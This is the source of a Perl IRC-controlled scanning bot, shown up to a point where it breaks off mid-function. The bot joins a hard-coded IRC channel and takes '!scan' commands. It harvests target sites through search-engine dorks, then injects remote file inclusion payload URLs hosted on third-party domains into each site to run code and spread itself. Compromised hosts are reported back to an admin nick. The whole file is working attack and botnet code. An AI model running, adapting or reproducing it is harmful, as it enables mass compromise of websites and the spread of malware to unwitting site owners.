use HTTP::Request; use LWP::UserAgent; use IO::Socket::INET; my $cmd = "http://www.wauze.de//language/lang_english/RuLeZ/me.txt?"; my $cmdprint = "http://www.wauze.de//language/lang_english/r.txt??"; my $nick = "UnIx|".(int(rand(99))); my $ident = "xpl"; my $chan = "#r4k3t"; my $server = "211.21.73.10"; my $http = "Googlebot"; my $port = 6667; my $sock; my $proxy = 30; my $admin = "SuPrEmO"; my $stringa = "!scan"; my $spread = "http://www.malteser-paderborn.de//contenido/includes/c.txt?"; my @User_Agent = &Agent(); my $pid = fork(); if($pid==0){ &irc($nick,$ident,$chan,$server,$port); }else{ exit(0); } sub irc(){ my($nick,$ident,$chan,$server,$port)=@_; $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server",PeerPort=>$port); $sock->autoflush(1); print $sock "NICK ".$nick."\r\n"; print $sock "USER ".$ident." 8 * : By SISTEM\r\n"; print $sock "JOIN ".$chan."\r\n"; while( $cmdline = <$sock> ){ if ( $cmdline =~ /PRIVMSG $chan :$stringa\s+(.*?)\s+(.*)/ ) { if(fork() == 0){ my($bug,$dork)=($1,$2); &scan($bug,$dork); exit(0); } } if ($cmdline =~ /PRIVMSG $chan :!info/){ &privmsg($chan,"9[10Per scannare9]: 15$stringa bug dork"); } if ($cmdline =~ /PRIVMSG $chan :!outbye/){ exit(0); } if($cmdline =~ /^PING \:(.*)/){ print $sock "PONG :$1"; } } } sub scan(){ my($bug,$dork)=@_; my $contatore = 0; &privmsg($chan,"9[10Scansione Per9]: 5Bug:".$bug); &privmsg($chan,"9[10Scansione Per9]: 6Dork:".$dork); my @proc; $proc[9] = fork(); if($proc[9] == 0){ &privmsg($chan,"9[10Scansione Di9]: 6Google4:".scalar(&Google($dork))); exit; } $proc[1] = fork(); if($proc[1] == 0){ &privmsg($chan,"9[10Scansione Di9]: 6Yahoo4:".scalar(&Yahoo($dork))); exit; } $proc[2] = fork(); if($proc[2] == 0){ &privmsg($chan,"9[10Scansione Di9]: 6Altavista4:".scalar(&Altavista($dork))); exit; } $proc[3] = fork(); if($proc[3] == 0){ &privmsg($chan,"9[10Scansione Di9]: 6Lycos4:".scalar(&Gigablast($dork))); exit; } $proc[4] = fork(); if($proc[4] == 0){ &privmsg($chan,"9[10Scansione Di9]: 6Msn4:".scalar(&Msn($dork))); exit; } $proc[5] = fork(); if($proc[5] == 0){ &privmsg($chan,"9[10Scansione Di9]: 6Ilse.Nl4:".scalar(&Ask($dork))); exit; } $proc[6] = fork(); if($proc[6] == 0){ &privmsg($chan,"9[10Scansione Di9]: 6Tiscali4:".scalar(&Fireball($dork))); exit; } $proc[7] = fork(); if($proc[7] == 0){ &privmsg($chan,"9[10Scansione Di9]: 6Alltheweb4:".scalar(&Alltheweb($dork))); exit; } $proc[8] = fork(); if($proc[8] == 0){ &privmsg($chan,"9[10Scansione Di9]: 6Aol4:".scalar(&Aol($dork))); exit; } waitpid($proc[9],0); waitpid($proc[1],0); waitpid($proc[2],0); waitpid($proc[3],0); waitpid($proc[4],0); waitpid($proc[5],0); waitpid($proc[6],0); waitpid($proc[7],0); waitpid($proc[8],0); my @links = &GetLink(); my @forks; my $forked++; &privmsg($chan,"9[10Ricerca9]: 15Totals Results:".scalar(@links)); my @uni = &Unici(@links); &privmsg($chan,"9[10Ricerca9]: 15Cleaned:".scalar(@uni)); &Remove(); my $testx = scalar(@uni); my $startx = 0; foreach my $sito (@uni){ $contatore++; my $link = "http://" . $sito . $bug . $cmd . "?"; my $link = "http://" . $sito . $bug . $spread . "?"; if($contatore %$proxy == 0){ my $start = 0; foreach my $f(@forks){ waitpid($f,0); $forks[$start--]; $start++; } $startx = 0; } $forks[$startx]=fork(); if($forks[$startx] == 0){ my $htmlsito = &Query($link,"3"); if($htmlsite =~ /JaheeM/ && $htmlsite =~ /uid=/){ &privmsg($chan,"9[4SAFE OFF9]: 8"."http://" . $sito . $bug . "3" . $cmdprint . "?"); &privmsg($admin,"9[4SAFE OFF9]: 8"."http://" . $sito . $bug . "3" . $cmdprint . "?"); &privmsg($admin,"9[4SPreAD9]: 8"."http://" . $sito . $bug . "4" . $spread . "?"); } elsif($htmlsito =~ /JaheeM/){ &privmsg($chan,"9[11SAFE ON9]: 7"."http://" . $sito . $bug . "7" . $cmdprint . "?"); &privmsg($admin,"9[11SAFE ON9]: 7"."http://" . $sito . $bug . "7" . $cmdprint . "?"); &privmsg($admin,"9[11SpreaD9]: 7"."http://" . $sito . $bug . "4" . $spread . "?"); } exit(0); } if($contatore %200 == 0){ &privmsg($chan,"9[10Ricerca9]: 7Scannati ".$contatore." di ".$testx); } $startx++; } my $start = 0; foreach my $f(@forks){ waitpid($f,0); $forks[$start--]; $start++; } &privmsg($chan,"9[10Ricerca4]:".$bug .$dork); &privmsg($chan,"9[10Ricerca4]: 7Fine."); } sub privmsg(){ my ($cha,$cosi)=@_; print $sock "PRIVMSG ".$cha." :".$cosi."\r\n"; } sub Google(){ my($dork)=@_; $dork=&Key($dork); my $start; my $num=100; my $max=100*10; my @dom = &GoogleDomains(); my $file = "google.txt"; my $html; my @result; foreach my $dominio (@dom){ for($start=0;$start < $max; $start += $num){ $html.=&Query("http://www.google.".$dominio."/search?q=".$dork."&num=100&hl=de&cr=countryDE&start=".$start."&sa=N"); } } while($html =~ m/
http:\/\/(.+?)\<\/p>/g){
$1 =~ /aol/ || push(@result,&Links($1,$file));
}
return(@result);
}
sub Query(){
my($link,$timeout)=@_;
my $req=HTTP::Request->new(GET=>$link);
my $ua=LWP::UserAgent->new();
$ua->agent($User_Agent[rand(scalar(@User_Agent))]);
$ua->timeout($timeout);
my $response=$ua->request($req);
return $response->content;
}
sub Key(){
my $chiave=$_[0];
$chiave =~ s/ /\+/g;
$chiave =~ s/:/\%3A/g;
$chiave =~ s/\//\%2F/g;
$chiave =~ s/&/\%26/g;
$chiave =~ s/\"/\%22/g;
$chiave =~ s/\\/\%5C/g;
$chiave =~ s/,/\%2C/g;
return $chiave;
}
sub GetLink(){
my @file = ("google.txt","yahoo.txt","altavista.txt","gigablast.txt","msn.txt","ask.txt","fireball.txt","alltheweb.txt","aol.txt");
my $link;
my @total;
foreach my $n (@file){
open(F,'<',$n);
while($link =